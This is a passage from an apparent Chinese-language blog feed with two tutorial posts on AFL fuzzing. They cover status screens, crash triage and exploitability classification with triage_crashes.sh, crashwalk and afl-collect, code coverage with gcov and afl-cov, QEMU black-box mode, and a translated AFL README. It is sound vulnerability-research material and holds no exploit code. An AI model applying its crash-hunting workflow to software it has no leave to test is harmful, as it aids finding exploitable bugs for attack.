class="line">└─────────────────────────────────────────────────────┘ [cpu000:<span class="number">102</span>%] │</span><br><span class="line">│ stage execs : 1432/1536 (93.23%) │ <span class="keyword">new</span> edges on : 2 (66.67%) │</span><br><span class="line">+++ Testing aborted by user +++ │ total crashes : 93.1<span class="type">k</span> (<span class="number">1</span> unique) │</span><br><span class="line">[+] We<span class="symbol">'re</span> done here. Have a nice day! │ total tmouts : 8 (1 <span class="type">unique</span>) │</span><br><span class="line">├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤</span><br></pre></td></tr></table></figure><p>由上面AFL状态窗口<br>① Process timing:Fuzzer运行时长、以及距离最近发现的路径、崩溃和挂起超时经过了多长时间。<br>已经运行4m19s距离上一个最新路径已经过去2min27s距离上一个独特崩溃已经过去4min19s可见找到崩溃的速度非常快距离上一次挂起已经过去2m12s。</p><p>② Overall resultsFuzzer当前状态的概述。</p><p>③ Cycle progress我们输入队列的距离。队列一共有3个用例现在是第二个66.67%</p><p>④ Map coverage目标二进制文件中的插桩代码所观察到覆盖范围的细节。</p><p>⑤ Stage progressFuzzer现在正在执行的文件变异策略、执行次数和执行速度。</p><p>⑥ Findings in depth有关我们找到的执行路径异常和挂起数量的信息。</p><p>⑦ Fuzzing strategy yields关于突变策略产生的最新行为和结果的详细信息。</p><p>⑧ Path geometry有关Fuzzer找到的执行路径的信息。</p><p>⑨ CPU loadCPU利用率</p><h2 id="afl何时结束"><a href="#afl何时结束" class="headerlink" title="afl何时结束"></a>afl何时结束</h2><p>(1) 状态窗口中”cycles done”字段颜色变为绿色该字段的颜色可以作为何时停止测试的参考随着周期数不断增大其颜色也会由洋红色逐步变为黄色、蓝色、绿色。当其变为绿色时继续Fuzzing下去也很难有新的发现了这时便可以通过Ctrl-C停止afl-fuzz。<br>(2) 距上一次发现新路径(或者崩溃)已经过去很长时间<br>(3) 目标程序的代码几乎被测试用例完全覆盖</p><h2 id="处理输出结果"><a href="#处理输出结果" class="headerlink" title="处理输出结果"></a>处理输出结果</h2><blockquote><p>确定造成这些crashes的bug是否可以利用怎么利用</p></blockquote><p>afl在fuzzing的过程中同时也产生了这些文件<br><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ tree <span class="built_in">..</span>/vuln/out/</span><br><span class="line"><span class="built_in">..</span>/vuln/out/</span><br><span class="line">├── crashes</span><br><span class="line">│   ├── id:000000,sig:11,src:000000,op:havoc,rep:64</span><br><span class="line">│   └── README.txt</span><br><span class="line">├── fuzz_bitmap</span><br><span class="line">├── fuzzer_stats</span><br><span class="line">├── hangs</span><br><span class="line">├── plot_data</span><br><span class="line">└── queue</span><br><span class="line"> ├── id:000000,orig:1</span><br><span class="line"> └── id:000001,orig:2</span><br><span class="line"></span><br><span class="line">3 directories, 7 files</span><br></pre></td></tr></table></figure></p><p>在输出目录中创建了三个子目录并实时更新:</p><ul><li>queue 测试每个独特执行路径的案例,以及用户提供的所有起始文件。</li><li>crashes 导致被测程序接收致命信号的独特测试用例例如SIGSEGVSIGILLSIGABRT。条目按接收信号分组。</li><li>hangs 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值但这很少是必需的。</li><li>崩溃和挂起被视为“唯一” :如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误,那么在此过程中会有一些计数通货膨胀,但这应该会迅速逐渐减少。</li><li>fuzzer_statsafl-fuzz的运行状态。</li><li>plot_data用于afl-plot绘图。</li></ul><h2 id="崩溃类型和可利用性"><a href="#崩溃类型和可利用性" class="headerlink" title="崩溃类型和可利用性"></a>崩溃类型和可利用性</h2><ol><li><p>triage_crashes<br>AFL源码的experimental目录中有一个名为triage_crashes.sh的脚本可以帮助我们触发收集到的crashes。例如下面的例子中11代表了SIGSEGV信号有可能是因为缓冲区溢出导致进程引用了无效的内存06代表了SIGABRT信号可能是执行了abort\assert函数或double free导致这些结果可以作为简单的参考。</p><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ experimental/crash_triage/triage_crashes.sh ../vuln/out/ ../vuln/v1-afl <span class="number">2</span>&gt;&amp;<span class="number">1</span> | grep SIGNAL</span><br><span class="line">+++ ID <span class="number">000000</span>, SIGNAL <span class="number">11</span> +++</span><br></pre></td></tr></table></figure></li><li><p>crashwalk<br>如果你想得到更细致的crashes分类结果以及导致crashes的具体原因那么crashwalk就是不错的选择之一。这个工具基于gdb的exploitable插件安装也相对简单在ubuntu上只需要如下几步即可</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> apt-get install gdb golang</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> mkdir tools</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> tools</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> git <span class="built_in">clone</span> https://github.com/jfoote/exploitable.git</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> mkdir go</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">export</span> GOPATH=~/tools/go</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">export</span> CW_EXPLOITABLE=~/tools/exploitable/exploitable/exploitable.py</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> go get -u github.com/bnagy/crashwalk/cmd/...</span></span><br></pre></td></tr></table></figure></li></ol><ul><li style="list-style: none"><input type="checkbox"> 这部分我好像还没完成</li></ul><ol start="3"><li>afl-collect<figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ afl-collect -d crashes.db -e gdb_script -j 8 -r <span class="built_in">..</span>/vuln/out/ <span class="built_in">..</span>/vuln/testcase -- <span class="built_in">..</span>/vuln/v1-afl</span><br><span class="line"></span><br><span class="line">*** GDB+EXPLOITABLE<span class="built_in"> SCRIPT </span>OUTPUT ***</span><br><span class="line">[00001] out:id:000000,sig:11,src:000000,op:havoc,rep:64<span class="built_in">..</span><span class="built_in">..</span><span class="built_in">..</span><span class="built_in">..</span><span class="built_in">..</span><span class="built_in">..</span><span class="built_in">..</span><span class="built_in">..</span>.: EXPLOITABLE [ReturnAv (1/22)]</span><br><span class="line">*** ***************************** ***</span><br></pre></td></tr></table></figure></li></ol><hr><h1 id="0x02-代码覆盖率及其相关概念"><a href="#0x02-代码覆盖率及其相关概念" class="headerlink" title="0x02 代码覆盖率及其相关概念"></a>0x02 代码覆盖率及其相关概念</h1><blockquote><p>代码覆盖率是模糊测试中一个极其重要的概念使用代码覆盖率可以评估和改进测试过程执行到的代码越多找到bug的可能性就越大毕竟在覆盖的代码中并不能100%发现bug在未覆盖的代码中却是100%找不到任何bug的。<br>代码覆盖率是一种度量代码的覆盖程度的方式也就是指源代码中的某行代码是否已执行对二进制程序还可将此概念理解为汇编代码中的某条指令是否已执行。其计量方式很多但无论是GCC的GCOV还是LLVM的SanitizerCoverage都提供函数function、基本块basic-block、边界edge三种级别的覆盖率检测。</p></blockquote><h2 id="计算代码覆盖率"><a href="#计算代码覆盖率" class="headerlink" title="计算代码覆盖率"></a>计算代码覆盖率</h2><p><strong>GCOV</strong>:插桩生成覆盖率 <strong>LCOV</strong>:图形展示覆盖率 <strong>afl-cov</strong>调用前两个工具计算afl测试用例的覆盖率</p><ol><li><p>gcc插桩<br><strong>-fprofile-arcs -ftest-coverage</strong></p><figure class="highlight armasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ gcc -fprofile-arcs -ftest-coverage ./<span class="built_in">v1</span>.c -o <span class="built_in">v1</span>-cov</span><br></pre></td></tr></table></figure></li><li><p>afl-cov计算之前fuzzer的过程结束后</p><figure class="highlight vhdl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">$ ../afl-<span class="number">2.52</span>b/afl-cov/afl-cov -d ./<span class="keyword">out</span>/ <span class="comment">--enable-branch-coverage -c . -e "cat AFL_FILE | ./v1-cov AFL_FILE"</span></span><br><span class="line"></span><br><span class="line"> Non-zero <span class="keyword">exit</span> status <span class="string">'1'</span> <span class="keyword">for</span> CMD: /usr/bin/readelf -a cat</span><br><span class="line"></span><br><span class="line">*** Imported <span class="number">2</span> <span class="keyword">new</span> test cases from: ./<span class="keyword">out</span>//queue</span><br><span class="line"></span><br><span class="line"> [+] AFL test <span class="keyword">case</span>: id:<span class="number">000000</span>,orig:<span class="number">1</span> (<span class="number">0</span> / <span class="number">2</span>), cycle: <span class="number">0</span></span><br><span class="line"> lines......: <span class="number">100.0</span>% (<span class="number">6</span> <span class="keyword">of</span> <span class="number">6</span> lines)</span><br><span class="line"> functions..: <span class="number">100.0</span>% (<span class="number">2</span> <span class="keyword">of</span> <span class="number">2</span> functions)</span><br><span class="line"> branches...: no data found</span><br><span class="line"></span><br><span class="line"> Coverage diff (init) id:<span class="number">000000</span>,orig:<span class="number">1</span></span><br><span class="line"> diff (init) -&gt; id:<span class="number">000000</span>,orig:<span class="number">1</span></span><br><span class="line"> <span class="keyword">New</span> src <span class="keyword">file</span>: /home/han/ck/vuln/v1.c</span><br><span class="line"> <span class="keyword">New</span> <span class="symbol">'function</span>' coverage: main()</span><br><span class="line"> <span class="keyword">New</span> <span class="symbol">'function</span>' coverage: vulnerable_function()</span><br><span class="line"> <span class="keyword">New</span> <span class="symbol">'line</span>' coverage: <span class="number">11</span></span><br><span class="line"> <span class="keyword">New</span> <span class="symbol">'line</span>' coverage: <span class="number">12</span></span><br><span class="line"> <span class="keyword">New</span> <span class="symbol">'line</span>' coverage: <span class="number">13</span></span><br><span class="line"> <span class="keyword">New</span> <span class="symbol">'line</span>' coverage: <span class="number">6</span></span><br><span class="line"> <span class="keyword">New</span> <span class="symbol">'line</span>' coverage: <span class="number">8</span></span><br><span class="line"> <span class="keyword">New</span> <span class="symbol">'line</span>' coverage: <span class="number">9</span></span><br><span class="line"></span><br><span class="line">++++++ <span class="keyword">BEGIN</span> - first exec output <span class="keyword">for</span> CMD: cat ./<span class="keyword">out</span>//queue/id:<span class="number">000000</span>,orig:<span class="number">1</span> | ./v1-cov ./<span class="keyword">out</span>//queue/id:<span class="number">000000</span>,orig:<span class="number">1</span></span><br><span class="line"> Hello, World</span><br><span class="line"> ++++++ <span class="keyword">END</span></span><br><span class="line"></span><br><span class="line"> [+] AFL test <span class="keyword">case</span>: id:<span class="number">000001</span>,orig:<span class="number">2</span> (<span class="number">1</span> / <span class="number">2</span>), cycle: <span class="number">0</span></span><br><span class="line"> lines......: <span class="number">100.0</span>% (<span class="number">6</span> <span class="keyword">of</span> <span class="number">6</span> lines)</span><br><span class="line"> functions..: <span class="number">100.0</span>% (<span class="number">2</span> <span class="keyword">of</span> <span class="number">2</span> functions)</span><br><span class="line"> branches...: no data found</span><br><span class="line"> [+] Processed <span class="number">2</span> / <span class="number">2</span> test cases.</span><br><span class="line"></span><br><span class="line"> [+] Final zero coverage <span class="keyword">report</span>: ./<span class="keyword">out</span>//cov/zero-cov</span><br><span class="line"> [+] Final <span class="built_in">positive</span> coverage <span class="keyword">report</span>: ./<span class="keyword">out</span>//cov/pos-cov</span><br><span class="line"> lines......: <span class="number">100.0</span>% (<span class="number">6</span> <span class="keyword">of</span> <span class="number">6</span> lines)</span><br><span class="line"> functions..: <span class="number">100.0</span>% (<span class="number">2</span> <span class="keyword">of</span> <span class="number">2</span> functions)</span><br><span class="line"> branches...: no data found</span><br><span class="line"> [+] Final lcov web <span class="keyword">report</span>: ./<span class="keyword">out</span>//cov/web/index.html</span><br></pre></td></tr></table></figure></li><li><p>LCOV展示</p></li></ol><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562570048/afl/1.png" alt></p><hr><h1 id="0x03-黑盒测试使用qemu"><a href="#0x03-黑盒测试使用qemu" class="headerlink" title="0x03 黑盒测试使用qemu"></a>0x03 黑盒测试使用qemu</h1><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">$ .<span class="regexp">/afl-fuzz -i ../</span>vuln<span class="regexp">/testcase/</span> -o ..<span class="regexp">/vuln/</span>outQemu -Q ..<span class="regexp">/vuln/</span>v1</span><br><span class="line">american fuzzy lop <span class="number">2.52</span>b (v1)</span><br><span class="line"></span><br><span class="line">┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐</span><br><span class="line">│ run <span class="string">time :</span> <span class="number">0</span> days, <span class="number">0</span> hrs, <span class="number">0</span> min, <span class="number">41</span> sec │ cycles <span class="string">done :</span> <span class="number">232</span> │</span><br><span class="line">│ last <span class="keyword">new</span> <span class="string">path :</span> none yet (odd, check syntax!) │ total <span class="string">paths :</span> <span class="number">2</span> │</span><br><span class="line">│ last uniq <span class="string">crash :</span> <span class="number">0</span> days, <span class="number">0</span> hrs, <span class="number">0</span> min, <span class="number">41</span> sec │ uniq <span class="string">crashes :</span> <span class="number">1</span> │</span><br><span class="line">│ last uniq <span class="string">hang :</span> none seen yet │ uniq <span class="string">hangs :</span> <span class="number">0</span> │</span><br><span class="line">├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤</span><br><span class="line">│ now <span class="string">processing :</span> <span class="number">0</span>* (<span class="number">0.00</span>%) │ map <span class="string">density :</span> <span class="number">0.04</span>% / <span class="number">0.04</span>% │</span><br><span class="line">│ paths timed <span class="string">out :</span> <span class="number">0</span> (<span class="number">0.00</span>%) │ count <span class="string">coverage :</span> <span class="number">1.00</span> bits/tuple │</span><br><span class="line">├─ stage progress ────────────────────┼─ findings <span class="keyword">in</span> depth ────────────────────┤</span><br><span class="line">│ now <span class="string">trying :</span> havoc │ favored <span class="string">paths :</span> <span class="number">1</span> (<span class="number">50.00</span>%) │</span><br><span class="line">│ stage <span class="string">execs :</span> <span class="number">255</span>/<span class="number">256</span> (<span class="number">99.61</span>%) │ <span class="keyword">new</span> edges <span class="string">on :</span> <span class="number">1</span> (<span class="number">50.00</span>%) │</span><br><span class="line">│ total <span class="string">execs :</span> <span class="number">121</span>k │ total <span class="string">crashes :</span> <span class="number">33</span> (<span class="number">1</span> unique) │</span><br><span class="line">│ exec <span class="string">speed :</span> <span class="number">2860</span>/sec │ total <span class="string">tmouts :</span> <span class="number">0</span> (<span class="number">0</span> unique) │</span><br><span class="line">├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤</span><br><span class="line">│ bit <span class="string">flips :</span> <span class="number">0</span><span class="regexp">/56, 0/</span><span class="number">54</span>, <span class="number">0</span>/<span class="number">50</span> │ <span class="string">levels :</span> <span class="number">1</span> │</span><br><span class="line">│ <span class="keyword">byte</span> <span class="string">flips :</span> <span class="number">0</span><span class="regexp">/7, 0/</span><span class="number">5</span>, <span class="number">0</span>/<span class="number">1</span> │ <span class="string">pending :</span> <span class="number">0</span> │</span><br><span class="line">│ <span class="string">arithmetics :</span> <span class="number">0</span><span class="regexp">/392, 0/</span><span class="number">25</span>, <span class="number">0</span>/<span class="number">0</span> │ pend <span class="string">fav :</span> <span class="number">0</span> │</span><br><span class="line">│ known <span class="string">ints :</span> <span class="number">0</span><span class="regexp">/36, 0/</span><span class="number">138</span>, <span class="number">0</span>/<span class="number">44</span> │ own <span class="string">finds :</span> <span class="number">0</span> │</span><br><span class="line">│ <span class="string">dictionary :</span> <span class="number">0</span><span class="regexp">/0, 0/</span><span class="number">0</span>, <span class="number">0</span><span class="regexp">/0 │ imported : n/</span>a │</span><br><span class="line">│ <span class="string">havoc :</span> <span class="number">1</span><span class="regexp">/120k, 0/</span><span class="number">0</span> │ <span class="string">stability :</span> <span class="number">100.00</span>% │</span><br><span class="line">│ <span class="string">trim :</span> <span class="number">82.61</span>%/<span class="number">5</span>, <span class="number">0.00</span>% ├────────────────────────┘</span><br><span class="line">^C────────────────────────────────────────────────────┘ [<span class="string">cpu000:</span><span class="number">102</span>%]</span><br></pre></td></tr></table></figure><ul><li style="list-style: none"><input type="checkbox"> 待完成对黑盒测试原理的分析</li></ul>]]></content>
<categories>
<category> 二进制 </category>
</categories>
<tags>
<tag> AFL </tag>
<tag> 模糊测试 </tag>
</tags>
</entry>
<entry>
<title>模糊测试与AFL</title>
<link href="/2019/07/01/AFL-first-learn/"/>
<url>/2019/07/01/AFL-first-learn/</url>
<content type="html"><![CDATA[<p>接触这个词语已经有一年了但还没有学习过更没有上手实践过正好趁这个机会好好弄弄AFL。提起模糊测试我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等你可能和我一样一头雾水这次我们就来看个明白</p><hr><h1 id="0x01-模糊测试"><a href="#0x01-模糊测试" class="headerlink" title="0x01 模糊测试"></a>0x01 模糊测试</h1><p>首先模糊测试Fuzzing是一种测试手段它把系统看成一个摸不清内部结构的黑盒只是向其输入接口随机地发送合法测试用例这些用例并不是开发者所预期的输入所以极有可能会造成系统的崩溃通过分析崩溃信息测试人员黑客就可以评估系统是否存在可利用的漏洞。<br>模糊测试的过程,就好像是一个不断探测系统可以承受的输入极限的过程,让我想起学电子的时候对一个滤波器进行带宽的评估,如果我们知道内部电路原理,那么这个器件对于我们就是白盒了,可以直接通过公式计算理论带宽,现在系统对于我们而言是一个黑盒,我们通过在足够大频率范围内对其不断输入信号,就能测试出其实际带宽。</p><p><strong>模糊测试方法一览</strong></p><table> <tr> <th rowspan="2">基于变种的Fuzzer</th> <th rowspan="2">基于模板的Fuzzer</th> <th colspan="2">基于反馈演进的Fuzzer</th> </tr> <tr> <td>基于追踪路径覆盖率</td> <td>基于分支覆盖率</td> </tr> <tr> <td rowspan="2">在已知合法的输入的基础上,对该输入进行随机变种或者依据某种经验性的变种,从而产生不可预期的测试输入。</td> <td rowspan="2">此类Fuzzer工具的输入数据依赖于安全人员结合自己的知识给出输入数据的模板构造丰富的输入测试数据。</td> <td colspan="2">此类Fuzzer会实时的记录当前对于目标程序测试的覆盖程度从而调整自己的fuzzing输入。</td> </tr> <tr> <td>PAP:路径编码的算法;后面会产生路径爆炸的问题</td> <td>漏洞的爆发往往由于触发了非预期的分支</td> </tr> <tr> <td>Taof, GPF, ProxyFuzz, Peach Fuzzer</td> <td>SPIKE, Sulley, Mu4000, Codenomicon</td> <td></td> <td>AFL</td> </tr></table><hr><h1 id="0x02-AFL快速入门"><a href="#0x02-AFL快速入门" class="headerlink" title="0x02 AFL快速入门"></a>0x02 <a href="http://lcamtuf.coredump.cx/afl/QuickStartGuide.txt" target="_blank" rel="noopener">AFL快速入门</a></h1><p>1用<code>make</code>编译AFL。如果构建失败请参阅docs / INSTALL以获取提示。<br>2查找或编写一个相当快速和简单的程序该程序从<strong><em>文件或标准输入</em></strong>中获取数据以一种有价值的方式处理它然后干净地退出。如果测试网络服务请将其修改为在前台运行并从stdin读取。在对使用校验和的格式进行模糊测试时也要注释掉校验和验证码。<br>遇到故障时程序必须正常崩溃。注意自定义SIGSEGV或SIGABRT处理程序和后台进程。有关检测非崩溃缺陷的提示请参阅<code>docs/README</code>中的第11节。<br>3使用afl-gcc编译要模糊的程序/库。一种常见的方法是:<br><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$ </span>CC = <span class="regexp">/path/to</span><span class="regexp">/afl-gcc CXX =/path</span><span class="regexp">/to/afl</span>-g++ ./configure --disable-shared</span><br><span class="line"><span class="variable">$ </span>make clean all</span><br></pre></td></tr></table></figure></p><p>如果程序构建失败,请联系 <a href="mailto:&#x61;&#102;&#108;&#45;&#x75;&#x73;&#x65;&#114;&#x73;&#x40;&#x67;&#111;&#x6f;&#103;&#x6c;&#101;&#103;&#114;&#x6f;&#x75;&#x70;&#115;&#46;&#x63;&#x6f;&#109;" target="_blank" rel="noopener">&#x61;&#102;&#108;&#45;&#x75;&#x73;&#x65;&#114;&#x73;&#x40;&#x67;&#111;&#x6f;&#103;&#x6c;&#101;&#103;&#114;&#x6f;&#x75;&#x70;&#115;&#46;&#x63;&#x6f;&#109;</a>。<br>4获取一个对程序有意义的小而有效的输入文件。在模糊详细语法SQLHTTP等也要创建字典如<code>dictionaries/README.dictionaries</code>中所述。<br>5如果程序从stdin读取则运行<code>afl-fuzz</code>,如下所示:<br><code>./afl-fuzz -i testcase_dir -o findings_dir -- /path/to/tested/program [... program&#39;s cmdline ...]</code><br> 如果程序从文件中获取输入,则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。</p><p><strong>一些参考文档</strong></p><blockquote><p><a href="http://lcamtuf.coredump.cx/afl/README.txt" target="_blank" rel="noopener">docs/README</a> - AFL的一般介绍<br><a href="https://github.com/mirrorer/afl/blob/master/docs/perf_tips.txt" target="_blank" rel="noopener">docs/perf_tips.txt</a> - 关于如何快速模糊的简单提示,<br><a href="http://lcamtuf.coredump.cx/afl/status_screen.txt" target="_blank" rel="noopener">docs/status_screen.txt</a> - UI中显示的花絮的解释<br><a href="https://github.com/mirrorer/afl/blob/master/docs/parallel_fuzzing.txt" target="_blank" rel="noopener">docs/parallel_fuzzing.txt</a> - 关于在多个核上运行AFL的建议<br><a href="http://lcamtuf.coredump.cx/afl/demo/" target="_blank" rel="noopener">Generated test cases for common image formats</a> - 生成图像文件测试用例的demo<br><a href="http://lcamtuf.coredump.cx/afl/technical_details.txt" target="_blank" rel="noopener">Technical “whitepaper” for afl-fuzz</a> - 技术白皮书</p></blockquote><p><strong>适用环境</strong><br>该工具已确认适用于32位和64位的x86 LinuxOpenBSDFreeBSD和NetBSD。 它也适用于MacOS X和Solaris但有一些限制。 它支持用CC ++或Objective C编写的程序使用gcc或clang编译。 在Linux上可选的QEMU模式也允许对黑盒二进制文件进行模糊测试。</p><p>AFL的变体和衍生物允许您模糊PythonGoRustOCamlGCJ Java内核系统调用甚至整个虚拟机。 还有一个密切启发的进程模糊器它在LLVM中运行并且是一个在Windows上运行的分支。 最后AFL是<a href="https://github.com/google/oss-fuzz/" target="_blank" rel="noopener">OSS-Fuzz</a>背后的模糊引擎之一。</p><p>哦 - 如果你安装了gnuplot你可以使用afl-plot来获得漂亮的进度图。</p><hr><h1 id="0x03-AFL特点"><a href="#0x03-AFL特点" class="headerlink" title="0x03 AFL特点"></a>0x03 <a href="http://lcamtuf.coredump.cx/afl/" target="_blank" rel="noopener">AFL特点</a></h1><ol><li><strong>非常复杂</strong>。它是一种插桩器instrumentation引导的遗传模糊器能够在各种非平凡的目标中<a href="http://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html" target="_blank" rel="noopener">合成复杂的文件语义</a>,减少了对专用的语法识别工具的需求。它还带有一个独特的<a href="http://lcamtuf.blogspot.com/2014/11/afl-fuzz-crash-exploration-mode.html" target="_blank" rel="noopener">崩溃浏览器</a>,一个<a href="https://groups.google.com/d/msg/afl-users/eWb2PgjLnUo/8AKqadYzSBoJ" target="_blank" rel="noopener">测试用例最小化器</a>,一个<a href="https://groups.google.com/forum/#!topic/afl-users/RW4RF6x9aBc" target="_blank" rel="noopener">故障触发分配器</a>和一个<a href="https://lcamtuf.blogspot.com/2016/02/say-hello-to-afl-analyze.html" target="_blank" rel="noopener">语法分析器</a> - 使评估崩溃错误的影响变得简单。</li><li><strong>智能</strong>。它围绕一系列经过<a href="http://lcamtuf.blogspot.com/2014/08/binary-fuzzing-strategies-what-works.html" target="_blank" rel="noopener">精心研究</a>,高增益的测试用例预处理和模糊测试策略而构建,在其他模糊测试框架中很少采用与之相当的严格性。结果,它发现了真正的<a href="http://lcamtuf.coredump.cx/afl/#bugs" target="_blank" rel="noopener">漏洞</a>。</li><li><strong>它很快</strong>。由于其低级编译时间或仅二进制检测和<a href="http://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html" target="_blank" rel="noopener">其他优化</a>,该工具提供了针对常见现实世界目标的近原生或优于原生的模糊测试速度。新增的<a href="http://lcamtuf.blogspot.com/2015/06/new-in-afl-persistent-mode.html" target="_blank" rel="noopener">持久模式</a>允许在最少的代码修改的帮助下,对许多程序进行异常快速的模糊测试。</li><li><strong>可以链接到其他工具</strong>。模糊器可以生成优质,紧凑的测试语料库,可以作为更专业,更慢或劳动密集型流程和测试框架的种子。它还能够与任何其他软件进行即时语料库同步。</li></ol><hr><h1 id="0x04-AFL-README"><a href="#0x04-AFL-README" class="headerlink" title="0x04 AFL README"></a>0x04 <a href="http://lcamtuf.coredump.cx/afl/README.txt" target="_blank" rel="noopener">AFL README</a></h1><blockquote><p>Written and maintained by Michal Zalewski <a href="mailto:&#108;&#x63;&#x61;&#109;&#x74;&#x75;&#102;&#x40;&#103;&#111;&#x6f;&#x67;&#108;&#101;&#46;&#x63;&#111;&#x6d;" target="_blank" rel="noopener">&#108;&#x63;&#x61;&#109;&#x74;&#x75;&#102;&#x40;&#103;&#111;&#x6f;&#x67;&#108;&#101;&#46;&#x63;&#111;&#x6d;</a></p><p> Copyright 2013, 2014, 2015, 2016 Google Inc. All rights reserved.<br> Released under terms and conditions of Apache License, Version 2.0.</p><p> For new versions and additional information, check out:<br> <a href="http://lcamtuf.coredump.cx/afl/" target="_blank" rel="noopener">http://lcamtuf.coredump.cx/afl/</a></p><p> To compare notes with other users or get notified about major new features,<br> send a mail to <a href="mailto:&#97;&#102;&#108;&#x2d;&#117;&#x73;&#x65;&#114;&#115;&#x2b;&#115;&#x75;&#98;&#x73;&#99;&#x72;&#x69;&#x62;&#x65;&#64;&#x67;&#x6f;&#111;&#x67;&#x6c;&#101;&#x67;&#114;&#111;&#117;&#112;&#x73;&#46;&#x63;&#111;&#x6d;" target="_blank" rel="noopener">&#97;&#102;&#108;&#x2d;&#117;&#x73;&#x65;&#114;&#115;&#x2b;&#115;&#x75;&#98;&#x73;&#99;&#x72;&#x69;&#x62;&#x65;&#64;&#x67;&#x6f;&#111;&#x67;&#x6c;&#101;&#x67;&#114;&#111;&#117;&#112;&#x73;&#46;&#x63;&#111;&#x6d;</a>.</p><p> <strong>See QuickStartGuide.txt if you dont have time to read this file.</strong></p></blockquote><h2 id="1具有导向性的模糊测试的挑战"><a href="#1具有导向性的模糊测试的挑战" class="headerlink" title="1具有导向性的模糊测试的挑战"></a>1具有导向性的模糊测试的挑战</h2><p>Fuzzing是用于识别真实软件中的安全问题的最强大且经过验证的策略之一;它负责安全关键软件中迄今为止发现的绝大多数远程代码执行和权限提升漏洞。<br>不幸的是,模糊测试也不够有力。盲目的、随机的变异使得它不太可能在测试代码中达到某些代码路径,从而使一些漏洞超出了这种技术的范围。<br>已经有许多尝试来解决这个问题。早期方法之一 - 由Tavis Ormandy开创 - 是一种 <strong>语义库蒸馏corpus distillation</strong> 。网上找到的一些大型语料库中往往包含大量的文件,这时就需要对其精简,该方法依赖于覆盖信号从大量高质量的候选文件语料库中选择有趣种子的子集,然后通过传统方式对其进行模糊处理。该方法非常有效,但需要这样的语料库随时可用。正因为如此,<strong>代码覆盖率</strong> 也只是衡量程序执行状态的一个简单化的度量这种方式并不适合后续引导fuzzing测试的。<br>其他更复杂的研究集中在诸如 <strong>程序流分析“concoic execution”符号执行或静态分析</strong> 等技术上。所有这些方法在实验环境中都非常有前景,但在实际应用中往往会遇到可靠性和性能问题 - 部分高价值的程序都有非常复杂的内部状态和执行路径在这一方面符号执行和concolic技术往往会显得不够健壮如路径爆炸问题所以仍然稍逊于传统的fuzzing技术。</p><h2 id="2afl-fuzz方法"><a href="#2afl-fuzz方法" class="headerlink" title="2afl-fuzz方法"></a>2afl-fuzz方法</h2><p>American Fuzzy Lop是一种暴力模糊测试配有极其简单但坚如磐石的 <strong>引导遗传算法</strong> 